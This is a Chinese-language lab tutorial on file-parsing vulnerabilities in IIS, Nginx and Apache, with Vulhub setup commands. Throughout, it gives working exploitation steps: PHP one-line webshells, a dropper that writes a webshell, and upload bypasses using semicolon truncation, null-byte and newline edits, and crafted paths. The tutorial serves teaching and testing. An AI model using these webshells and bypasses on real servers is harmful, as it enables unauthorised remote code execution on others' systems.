中间件解析漏洞(附环境搭建教程)
⼀:IIS解析漏洞
环境资源:
https://download.csdn.net/download/Nai_zui_jiang/89717504
环境安装
windows2003+iis6
1.创建新的虚拟机
2.在下⼀步中选择我们的iso⽂件镜像 vm已主动识别到windows2003
3.产品密钥⽹上搜⼀个 密码自己设置一个简单的,这里我用的是root
4.后⾯⼀直下⼀步 ⾃动安装
5.等待⼏分钟即可安装成功
6.接下来安装iis 控制⾯板--添加或删除程序---添加/删除windows组件
7.安装完成后web服务扩展全部打开
8.⽹站路径默认为 c:/inetpub/wwwroot
1.1:IIS6.X
⽬录解析
在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件
2.在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。
在外部浏览器访问虚拟机
iis⽹站中的1.jpg 发现asp代码被执⾏
将1.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏
畸形⽂件解析
在IIS 6 处理⽂件解析时,
分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx
1.2:IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg
后⾯加上/xx.php会将
/xx.jpg/xx.php
解析为 php ⽂件
。
利⽤条件:
1. php.ini⾥的cgi.fix_pathinfo=1 开启
2. IIS7在Fast-CGI运⾏模式下
环境配置
在本机安装IIS后在安装PHPstudy for IIS
步骤⼆:配置
php.ini
⽂件,将
cgi.fix_pathinfo=1
取消掉...并重启....
步骤三:IIS -> 配置⽹站 -> 处理程序映射 -> PHPStudy_FastCGI -> 请求限制 ->取消勾选
利用姿势
直接进行访问不会进行php解析
在url后面加上 .php 后jpg内的php语句被解析出来
GetShell
步骤⼀:将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访问
http://localhost/shell.jpg/.php
然后复制url使用菜刀进行连接
⼆:Nginx解析漏洞
2.1:nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。
利用条件
Nginx <=0.8.37
cgi.fix_pathinfo=1
利用姿势
Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为
cgi.fix_pathinfo=1
造成的解析漏洞
同样使⽤
1.jpg/.php
⽅式进⾏绕过
步骤⼀:进⼊以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerabilitydocker-compose builddocker-compose up -ddocker ps -a
步骤⼆:浏览器中访问⽹站
步骤三:制作图⽚⻢并进⾏上传...获取上传⽂件地址
步骤四:访问以下路径,利⽤Nginx解析漏洞
2.2:CVE-2013-4547
此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为
php。
当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。
影响版本
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
利⽤姿势
步骤⼀:使⽤以下命令启动靶机并通过浏览器访问靶场⻚⾯
# 启动靶场cd vulhub-master/nginx/CVE-2013-4547x // 切换到靶机⽬录docker-compose build // 创建环境docker-compose up -d // 打开环境# 靶场⻚⾯http://172.16.1.30:8080/#shell.php<?php @eval($_POST['cmd']);?>
步骤⼆:直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格;上传成功
步骤三:在.jpg后⾯添加两个空格并给上
.php
后缀,在16进制修改中将原本两个空格的
0x20 0x20 修改为如下即
0x20 0x00
进⾏发包
步骤四:访问上传后的⽂件....由于url会将其编码,需要继续抓包修改
0x20 0x20
为 0x20 0x00
http://172.16.1.30:8080/uploadfiles/shell.jpg .php
由于⽊⻢地址编码问题,⼯具连不到 可以使⽤以下的php代码输出⼀句话⽊⻢到当前⽬录
<?php fputs(fopen(
"shell.php","w"
),
'<?php eval($_POST["cmd"]);?>'
)?>
三:Apache解析漏洞
在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx
3.1:apache_parsing
漏洞原理
Apache HTTPD ⽀持⼀个⽂件拥有多个后缀,并为不同后缀执⾏不同的指令。⽐如如下配置⽂件
AddType text/html .htmlAddLanguage zh-CN .cn
其给
.html
后缀增加了
media-type
,值为
text/html
;给 .cn 后缀增加了语⾔,值为
zh-C N 。此时,如果⽤户请求⽂件
index.cn.html
,他将返回⼀个中⽂的html⻚⾯。以上就是Apache多 后缀的特性。如果运维⼈员给 .php
后缀增加了处理器
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要⼀个⽂件含有
.php
后缀的⽂件即将被识别成PHP⽂件,没必要是最后⼀个后缀。利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞
利⽤姿势
步骤⼀:进⼊Vulhub靶场并执⾏以下命令启动靶场
cd /vulhub/httpd/apache_parsing_vulnerabilitydocker-compose up -ddocker ps -a
步骤⼆:访问靶机并上传 shell.php.jpg ⽂件,⽂件内容为
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
步骤三:上传成功后与⽹站进⾏路径拼接...如下
http://172.16.1.30/uploadfiles/shell.php.jpg
步骤四:访问⽣成的shell.php并执⾏命令,执⾏成功。
3.2:CVE-2017-15715
Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器安全策略。
影响版本
2.4.0~2.4.29
利⽤姿势
进⼊Vulhub靶场并开启⽬标靶机
cd/Vulnhub/httpd/CVE-2017-15715
docker-compose up -d
尝试发送一句话木马发现被拦截
在evil.php⽂件后⾯添加空格
0x20
在改为
0x0a
再次返送即可上传成功
访问上传的evil⽂件在后⾯加上
%0a
再访问发现解析了其中的PHP代码,但后缀不是php说明
存在解析漏洞
http://172.16.1.30:8080/evil.php%0a